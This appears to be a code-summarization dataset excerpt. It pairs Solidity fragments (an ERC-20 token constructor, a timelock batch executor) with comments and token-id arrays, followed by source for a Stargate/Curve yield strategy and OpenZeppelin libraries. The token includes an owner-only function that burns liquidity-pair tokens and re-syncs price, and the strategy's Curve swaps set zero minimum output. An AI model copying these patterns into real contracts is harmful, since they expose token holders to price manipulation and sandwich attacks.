require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
exclude from paying fees or having max transaction amount
|
constructor() ERC20("GOT DIBS PROJECT", "DIBS") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 6;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 14;
uint256 _sellLiquidityFee = 5;
uint256 _sellDevFee = 5;
uint256 totalSupply = 1 * 1e9 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 6,304,764 |
[
1,
10157,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1435,
4232,
39,
3462,
2932,
43,
1974,
3690,
12692,
22489,
3113,
315,
2565,
12692,
7923,
288,
203,
540,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
540,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
540,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
540,
203,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
1666,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
273,
890,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
8870,
2
] |
./partial_match/1/0x44835bBBA9D40DEDa9b64858095EcFB2693c9449/sources/src/RBACTimelock.sol
|
* @dev Execute an (ready) operation containing a batch of transactions. Note that we perform a raw call to each target. Raw calls to targets that don't have associated contract code will always succeed regardless of payload. Emits one {CallExecuted} event per transaction in the batch. Requirements: - the caller must have the 'executor' or 'admin' role./
|
function executeBatch(
Call[] calldata calls,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrAdminRole(EXECUTOR_ROLE) {
bytes32 id = hashOperationBatch(calls, predecessor, salt);
_beforeCall(id, predecessor);
for (uint256 i = 0; i < calls.length; ++i) {
_execute(calls[i]);
emit CallExecuted(id, i, calls[i].target, calls[i].value, calls[i].data);
}
_afterCall(id);
}
| 9,197,859 |
[
1,
5289,
392,
261,
1672,
13,
1674,
4191,
279,
2581,
434,
8938,
18,
3609,
716,
732,
3073,
279,
1831,
745,
358,
1517,
1018,
18,
6576,
4097,
358,
5774,
716,
2727,
1404,
1240,
3627,
6835,
981,
903,
3712,
12897,
15255,
434,
2385,
18,
7377,
1282,
1245,
288,
1477,
23839,
97,
871,
1534,
2492,
316,
326,
2581,
18,
29076,
30,
300,
326,
4894,
1297,
1240,
326,
296,
21097,
11,
578,
296,
3666,
11,
2478,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1836,
4497,
12,
203,
3639,
3049,
8526,
745,
892,
4097,
16,
203,
3639,
1731,
1578,
24282,
16,
203,
3639,
1731,
1578,
4286,
203,
565,
262,
1071,
8843,
429,
5024,
1338,
2996,
1162,
4446,
2996,
12,
15271,
1693,
916,
67,
16256,
13,
288,
203,
3639,
1731,
1578,
612,
273,
1651,
2988,
4497,
12,
12550,
16,
24282,
16,
4286,
1769,
203,
203,
3639,
389,
5771,
1477,
12,
350,
16,
24282,
1769,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
4097,
18,
2469,
31,
965,
77,
13,
288,
203,
5411,
389,
8837,
12,
12550,
63,
77,
19226,
203,
5411,
3626,
3049,
23839,
12,
350,
16,
277,
16,
4097,
63,
77,
8009,
3299,
16,
4097,
63,
77,
8009,
1132,
16,
4097,
63,
77,
8009,
892,
1769,
203,
3639,
289,
203,
3639,
389,
5205,
1477,
12,
350,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "../StratBase.sol";
import "../../Interfaces/Curve/ICurveStableSwap.sol";
import "../../Interfaces/Stargate/ILPStaking.sol";
import "../../Interfaces/Stargate/ILPToken.sol";
import "../../Interfaces/Stargate/IStargateRouter.sol";
contract StratStargate is StratBase, PausableUpgradeable {
using SafeERC20 for IERC20;
using SafeMathUpgradeable for uint256;
IStargateRouter public stargateRouter;
ILPStaking public lpStaking;
uint256 pid;
IERC20 public stargate;
IERC20 public underlyingToken;
struct CurvePoolConfig {
address pool;
bool is128;
int128 i;
int128 j;
}
// curve routes
CurvePoolConfig[] public stargateToWantRoute;
bool public harvestOnDeposit;
uint256 public constant FEE_PRECISION = 1e6;
uint256 public harvestFeeRate;
uint256 public withdrawalFeeRate;
event StargateRouterUpdated(address _stargateRouter);
event LPStakingUpdated(address _lpStaking);
event PidUpdated(uint256 _pid);
event Deposited(uint256 _amount);
event Withdrawn(uint256 _amount, uint256 _withdrawalFee);
event Harvested(uint256 _amount, uint256 _harvestFee);
event HarvestFeeRateUpdated(uint256 _feeRate);
event WithdrawalFeeRateUpdated(uint256 _feeRate);
function initialize() public initializer {
__StratBase_init();
__Pausable_init_unchained();
}
function setParams(
address _vault,
address _want,
address _keeper,
address _feeRecipient,
address _stargateRouter,
address _lpStaking,
uint256 _pid,
address[] memory _pools,
bool[] memory _is128,
int128[] memory _i,
int128[] memory _j
) external onlyOwner {
setAddresses(_vault, _want, _keeper, _feeRecipient);
underlyingToken = IERC20(ILPToken(_want).token());
stargateRouter = IStargateRouter(_stargateRouter);
lpStaking = ILPStaking(_lpStaking);
(address lpToken, , , ) = lpStaking.poolInfo(_pid);
require(_want == lpToken, "invalid _want or _pid");
pid = _pid;
stargate = IERC20(lpStaking.stargate());
_checkRoute(_pools, _i, _j);
for (uint256 index; index < _pools.length; index++) {
stargateToWantRoute.push(
CurvePoolConfig({
pool: _pools[index],
is128: _is128[index],
i: _i[index],
j: _j[index]
})
);
}
_giveAllowances();
harvestOnDeposit = true;
emit StargateRouterUpdated(_stargateRouter);
emit LPStakingUpdated(_lpStaking);
emit PidUpdated(_pid);
}
function _checkRoute(
address[] memory _pools,
int128[] memory _i,
int128[] memory _j
) internal view {
require(
_pools.length > 0 &&
_pools.length == _i.length &&
_pools.length == _j.length,
"invalid _pools or _i or _j"
);
address token = address(stargate);
for (uint256 index; index < _pools.length; index++) {
ICurveStableSwap pool = ICurveStableSwap(_pools[index]);
require(token == pool.coins(uint256(_i[index])), "invalid route");
token = pool.coins(uint256(_j[index]));
}
require(token == address(underlyingToken), "invalid route");
}
function beforeDeposit() external override onlyVault {
if (!harvestOnDeposit) {
return;
}
harvest();
}
function deposit() public override whenNotPaused {
uint256 wantBal = want.balanceOf(address(this));
if (wantBal > 0) {
lpStaking.deposit(pid, wantBal);
emit Deposited(wantBal);
}
}
function withdraw(uint256 _amount) external override onlyVault {
uint256 wantBal = want.balanceOf(address(this));
if (wantBal < _amount) {
lpStaking.withdraw(pid, _amount.sub(wantBal));
wantBal = want.balanceOf(address(this));
}
if (wantBal > _amount) {
wantBal = _amount;
}
uint256 withdrawalFee = wantBal.mul(withdrawalFeeRate).div(
FEE_PRECISION
);
want.safeTransfer(feeRecipient, withdrawalFee);
want.safeTransfer(vault, wantBal.sub(withdrawalFee));
emit Withdrawn(_amount, withdrawalFee);
}
// calculate the total underlying 'want' held by the strat.
function balanceOf() external view override returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
// it calculates how much 'want' this contract holds.
function balanceOfWant() public view override returns (uint256) {
return want.balanceOf(address(this));
}
// it calculates how much 'want' the strategy has working in the farm.
function balanceOfPool() public view override returns (uint256) {
(uint256 _amount, ) = lpStaking.userInfo(pid, address(this));
return _amount;
}
// compounds earnings
function harvest() public override whenNotPaused {
if (balanceOfPool() > 0) {
// claim stargate
lpStaking.deposit(pid, 0);
uint256 stargateBal = stargate.balanceOf(address(this));
if (stargateBal > 0) {
// charge fees
uint256 harvestFee = stargateBal.mul(harvestFeeRate).div(
FEE_PRECISION
);
stargate.safeTransfer(feeRecipient, harvestFee);
// swap back to underlying token
_swapStargateToUnderlying(stargateBal.sub(harvestFee));
// Adds liquidity and gets more want tokens.
uint256 underlyingTokenBal = underlyingToken.balanceOf(
address(this)
);
stargateRouter.addLiquidity(
ILPToken(address(want)).poolId(),
underlyingTokenBal,
address(this)
);
// reinvest
deposit();
emit Harvested(stargateBal, harvestFee);
}
}
}
function _swapStargateToUnderlying(uint256 _stargateBal)
internal
returns (uint256)
{
if (_estimateSwappedUnderlying(_stargateBal) == 0) {
return 0;
}
uint256 amount = _stargateBal;
for (uint256 index; index < stargateToWantRoute.length; index++) {
CurvePoolConfig memory config = stargateToWantRoute[index];
IERC20 coin = IERC20(
ICurveStableSwap(config.pool).coins(uint256(config.j))
);
uint256 coinBalBefore = coin.balanceOf(address(this));
if (config.is128) {
ICurveStableSwap128(config.pool).exchange(
config.i,
config.j,
amount,
0
);
} else {
ICurveStableSwap256(config.pool).exchange(
uint256(config.i),
uint256(config.j),
amount,
0
);
}
uint256 coinBalAfter = coin.balanceOf(address(this));
amount = coinBalAfter.sub(coinBalBefore);
if (amount == 0) {
break;
}
}
return amount;
}
function _estimateSwappedUnderlying(uint256 _stargateBal)
internal
view
returns (uint256)
{
if (_stargateBal == 0) {
return 0;
}
uint256 amount = _stargateBal;
for (uint256 index; index < stargateToWantRoute.length; index++) {
CurvePoolConfig memory config = stargateToWantRoute[index];
if (config.is128) {
amount = ICurveStableSwap128(config.pool).get_dy(
config.i,
config.j,
amount
);
} else {
amount = ICurveStableSwap256(config.pool).get_dy(
uint256(config.i),
uint256(config.j),
amount
);
}
if (amount == 0) {
break;
}
}
return amount;
}
// called as part of strat migration. Sends all the available funds back to the vault.
function retireStrat() external override onlyVault {
lpStaking.emergencyWithdraw(pid);
uint256 wantBal = want.balanceOf(address(this));
want.safeTransfer(vault, wantBal);
}
// pauses deposits and withdraws all funds from third party systems.
function panic() public onlyManager {
pause();
lpStaking.emergencyWithdraw(pid);
}
function pause() public onlyManager {
_pause();
_removeAllowances();
}
function unpause() external onlyManager {
_unpause();
_giveAllowances();
deposit();
}
function _giveAllowances() internal {
want.safeApprove(address(lpStaking), uint256(-1));
for (uint256 index; index < stargateToWantRoute.length; index++) {
CurvePoolConfig memory config = stargateToWantRoute[index];
IERC20(ICurveStableSwap(config.pool).coins(uint256(config.i)))
.safeApprove(address(config.pool), uint256(-1));
}
underlyingToken.safeApprove(address(stargateRouter), uint256(-1));
}
function _removeAllowances() internal {
want.safeApprove(address(lpStaking), 0);
for (uint256 index; index < stargateToWantRoute.length; index++) {
CurvePoolConfig memory config = stargateToWantRoute[index];
IERC20(ICurveStableSwap(config.pool).coins(uint256(config.i)))
.safeApprove(address(config.pool), 0);
}
underlyingToken.safeApprove(address(stargateRouter), 0);
}
function setHarvestOnDeposit(bool _harvestOnDeposit) external onlyManager {
harvestOnDeposit = _harvestOnDeposit;
}
function setHarvestFeeRate(uint256 _feeRate) external onlyManager {
require(_feeRate <= FEE_PRECISION, "!cap");
harvestFeeRate = _feeRate;
emit HarvestFeeRateUpdated(_feeRate);
}
function setWithdrawalFeeRate(uint256 _feeRate) external onlyManager {
require(_feeRate <= FEE_PRECISION, "!cap");
withdrawalFeeRate = _feeRate;
emit WithdrawalFeeRateUpdated(_feeRate);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "../Interfaces/IStrategy.sol";
abstract contract StratBase is IStrategy, OwnableUpgradeable {
address public override vault;
IERC20 public override want;
address public keeper;
address public feeRecipient;
event VaultUpdated(address _vault);
event WantUpdated(address _want);
event KeeperUpdated(address _keeper);
event FeeRecipientUpdated(address _feeRecipient);
function __StratBase_init() internal initializer {
__Ownable_init();
__StratBase_init_unchained();
}
function __StratBase_init_unchained() internal initializer {}
/**
* @dev Initializes the base strategy.
* @param _vault address of parent vault.
* @param _want address of want.
* @param _keeper address to use as alternative owner.
* @param _feeRecipient address where to send Beefy's fees.
*/
function setAddresses(
address _vault,
address _want,
address _keeper,
address _feeRecipient
) internal onlyOwner {
vault = _vault;
want = IERC20(_want);
keeper = _keeper;
feeRecipient = _feeRecipient;
emit VaultUpdated(_vault);
emit WantUpdated(_want);
emit KeeperUpdated(_keeper);
emit FeeRecipientUpdated(_feeRecipient);
}
// checks that caller is either owner or keeper.
modifier onlyManager() {
require(msg.sender == owner() || msg.sender == keeper, "!manager");
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyVault() {
require(msg.sender == vault, "caller is not the vault");
_;
}
/**
* @dev Updates parent vault.
* @param _vault new vault address.
*/
function setVault(address _vault) external onlyOwner {
vault = _vault;
emit VaultUpdated(_vault);
}
/**
* @dev Updates address of the strat keeper.
* @param _keeper new keeper address.
*/
function setKeeper(address _keeper) external onlyManager {
keeper = _keeper;
emit KeeperUpdated(_keeper);
}
/**
* @dev Updates fee recipient.
* @param _feeRecipient new beefy fee recipient address.
*/
function setFeeRecipient(address _feeRecipient) external onlyOwner {
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface ICurveStableSwap {
function coins(uint256 i) external view returns (address);
}
interface ICurveStableSwap128 is ICurveStableSwap {
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
}
interface ICurveStableSwap256 is ICurveStableSwap {
function get_dy(
uint256 i,
uint256 j,
uint256 dx
) external view returns (uint256);
function exchange(
uint256 i,
uint256 j,
uint256 dx,
uint256 min_dy
) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface ILPStaking {
function poolInfo(uint256 _pid)
external
view
returns (
address,
uint256,
uint256,
uint256
);
